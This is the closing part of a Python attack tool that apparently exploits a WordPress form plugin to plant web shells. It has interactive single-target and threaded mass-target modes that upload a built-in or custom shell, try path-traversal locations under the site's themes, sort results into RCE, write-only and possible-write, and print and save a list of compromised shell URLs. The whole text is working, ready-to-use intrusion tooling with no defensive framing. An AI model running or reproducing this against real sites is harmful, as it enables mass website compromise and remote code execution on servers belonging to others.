        confirmed = r.get('upload_ok')
        tag = f'{G}CONFIRMED{RE}' if confirmed else f'{Y}SOFT-ERROR{RE}'
        step(3, 3, 'Shell discovery', f'{Y}PATH UNKNOWN — WRITE {RE}{tag}')
        if r.get('entry_id'):
            hint = (f'entry_id={r["entry_id"]}  '
                    f'/uploads/superforms/{yr}/{mo}/<13digits>/{r["shell_name"]}')
        else:
            hint = 'dir listing closed + REST requires auth — use WP creds or check admin'
        marker_note = ('  marker write confirmed — path discovery is the bottleneck'
                       if r.get('marker_found') else '')
        fail_box(hint + marker_note)

    else:
        step(3, 3, 'Shell discovery', f'{R}NOT FOUND — FAIL{RE}')
        fail_box(r.get('upload_err') or 'unexpected state')

    return r

# ── Modes ─────────────────────────────────────────────────────────────
def _load_shell_file(path):
    """Read custom shell file. Returns bytes or None on error."""
    try:
        with open(path, 'rb') as f:
            data = f.read()
        ok(f"Custom shell  {DG}{path}  ({len(data)} bytes){RE}")
        return data
    except Exception as e:
        err(f"Cannot read shell file: {e}")
        return None

def mode_single():
    print()
    target   = input(f"  {C}Target URL               :{RE} ").strip().rstrip('/')
    fid_in   = input(f"  {C}Form ID  (enter=auto)    :{RE} ").strip()
    sh_in    = input(f"  {C}Shell name (enter=random):{RE} ").strip()
    sf_in    = input(f"  {C}Shell file (enter=built-in):{RE} ").strip() or None
    wp_user  = input(f"  {C}WP user  (optional/REST) :{RE} ").strip() or None
    wp_pass  = input(f"  {C}WP pass  (optional/REST) :{RE} ").strip() or None

    form_id       = int(fid_in) if fid_in.isdigit() else None
    shell_name    = sh_in if sh_in else None
    shell_content = _load_shell_file(sf_in) if sf_in else None
    if sf_in and shell_content is None:
        return

    result = exploit(target, form_id=form_id, shell_name=shell_name,
                     wp_user=wp_user, wp_pass=wp_pass, shell_content=shell_content)

    ans = input(f"  {Y}Save result? (y/n):{RE} ").strip().lower()
    if ans == 'y':
        save_result(result)

def mode_mass():
    print()
    tfile   = input(f"  {C}Targets file             :{RE} ").strip()
    fid_in  = input(f"  {C}Form ID  (enter=auto)    :{RE} ").strip()
    thr_in  = input(f"  {C}Threads  (enter=5)       :{RE} ").strip()
    sf_in   = input(f"  {C}Shell file (enter=built-in):{RE} ").strip() or None
    wp_user = input(f"  {C}WP user  (optional/REST) :{RE} ").strip() or None
    wp_pass = input(f"  {C}WP pass  (optional/REST) :{RE} ").strip() or None

    if not os.path.isfile(tfile):
        err(f"File tidak ditemukan: {tfile}"); return

    form_id       = int(fid_in) if fid_in.isdigit() else None
    threads       = int(thr_in) if thr_in.isdigit() and 1 <= int(thr_in) <= 50 else 5
    shell_content = _load_shell_file(sf_in) if sf_in else None
    if sf_in and shell_content is None:
        return

    with open(tfile) as f:
        targets = [l.strip() for l in f if l.strip() and not l.startswith('#')]

    total = len(targets)
    pad_n = len(str(total))

    print()
    sep('═')
    print(f"  {W}{BO}MASS SCAN{RE}  {DG}{total} targets  threads={threads}{RE}")
    sep('═')
    print()

    results    = []
    pwned_list = []
    _lock      = threading.Lock()
    URL_COL    = 44

    STATUS_COLOR = {
        'RCE':            G + BO,
        'WRITE_ONLY':     Y,
        'POSSIBLE_WRITE': Y + DG,
        'FAIL':           R,
    }
    STATUS_LABEL = {
        'RCE':            'RCE   ',
        'WRITE_ONLY':     'WRITE ',
        'POSSIBLE_WRITE': 'MAYBE ',
        'FAIL':           'FAIL  ',
    }

    def _print_result(idx_n, target, r):
        idx   = f"[{idx_n:0{pad_n}d}/{total}]"
        t_col = target[:URL_COL]
        ndots = max(3, URL_COL + 2 - len(t_col))
        dots  = DG + ('.' * ndots) + RE
        st    = r['status']
        sc    = STATUS_COLOR.get(st, DG)
        sl    = STATUS_LABEL.get(st, st[:6])
        _ind  = ' ' * (len(idx) + 2)

        if st == 'RCE':
            pwned_list.append(r)
            rce_out = (r['rce'] or 'exec OK')[:28]
            print(f"  {M}{idx}{RE}  {C}{t_col}{RE}  {dots}  {sc}{sl}{RE}  {DG}{rce_out}{RE}")
            if r.get('shell_url'):
                print(f"  {_ind}{G}↳ {r['shell_url']}{RE}")
        elif st == 'WRITE_ONLY':
            print(f"  {M}{idx}{RE}  {C}{t_col}{RE}  {dots}  {sc}{sl}{RE}  {DG}no exec{RE}")
            if r.get('shell_url'):
                print(f"  {_ind}{Y}↳ {r['shell_url']}{RE}")
        elif st == 'POSSIBLE_WRITE':
            _parts = []
            if r.get('entry_id'):
                _parts.append(f"{G}eid={r['entry_id']}{RE}")
            elif r.get('upload_ok'):
                _parts.append(f"{G}write✓{RE}")
            else:
                _parts.append(f"{Y}soft-err{RE}")
            _th = r.get('_theme')
            if not _th:
                _parts.append(f"{R}no-theme{RE}")
            else:
                _parts.append(f"{DG}trav-miss:{_th[:14]}{RE}")
            if r.get('used_fid'):
                _parts.append(f"{DG}fid={r['used_fid']}{RE}")
            print(f"  {DG}{idx}{RE}  {t_col}  {dots}  {sc}{sl}{RE}  {'  '.join(_parts)}")
            _base      = r['target'].rstrip('/')
            _sn        = r['shell_name']
            _yr, _mo   = datetime.now().year, f'{datetime.now().month:02d}'
            if _th:
                print(f"  {_ind}{Y}↳ try: {_base}/wp-content/themes/{_th}/{_sn}{RE}")
            print(f"  {_ind}{DG}↳ path: {_base}/wp-content/uploads/superforms/{_yr}/{_mo}/<13d>/{_sn}{RE}")
        else:
            reason = (r.get('upload_err') or 'plugin inactive / blocked')[:28]
            print(f"  {DG}{idx}{RE}  {t_col}  {dots}  {sc}{sl}{RE}  {DG}{reason}{RE}")

    def _worker(idx_n, target):
        time.sleep(random.uniform(0, 0.5) * (idx_n % threads))   # stagger start
        return idx_n, target, _run_attack(
            target, form_id=form_id, wp_user=wp_user, wp_pass=wp_pass,
            quiet=True, shell_content=shell_content
        )

    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = {executor.submit(_worker, i, t): i
                   for i, t in enumerate(targets, 1)}
        for future in as_completed(futures):
            idx_n, target, r = future.result()
            results.append(r)
            with _lock:
                _print_result(idx_n, target, r)

    # ── Summary ──
    rce_count   = sum(1 for r in results if r['status'] == 'RCE')
    write_count = sum(1 for r in results if r['status'] == 'WRITE_ONLY')
    maybe_count = sum(1 for r in results if r['status'] == 'POSSIBLE_WRITE')

    print()
    sep('═', G)
    print(f"  {G}{BO}SUMMARY{RE}  "
          f"{G}{BO}{rce_count} RCE{RE}  "
          f"{Y}{write_count} WRITE_ONLY{RE}  "
          f"{DG}{maybe_count} MAYBE{RE}  "
          f"{DG}/ {total} total{RE}")
    sep('═', G)

    if pwned_list:
        print()
        print(f"  {W}{BO}RCE SHELLS:{RE}")
        for r in pwned_list:
            rce_n = f"  {DG}({r['rce']}){RE}" if r.get('rce') else ''
            print(f"  {G}»{RE}  {r['shell_url']}{rce_n}")
        print()
        sep('═', G)

    save_result({'summary': {
        'total': total, 'rce': rce_count,
        'write_only': write_count, 'possible': maybe_count,
    }, 'results': results})

# ── Main ──────────────────────────────────────────────────────────────
def main():
    print(BANNER)
    print(f"  {C}1{RE}  Single target")
    print(f"  {C}2{RE}  Mass targets (file)")
    print()

    choice = input(f"  {C}Mode (1/2):{RE} ").strip()
    if   choice == '1': mode_single()
    elif choice == '2': mode_mass()
    else: err("Invalid choice")

if __name__ == '__main__':
    main()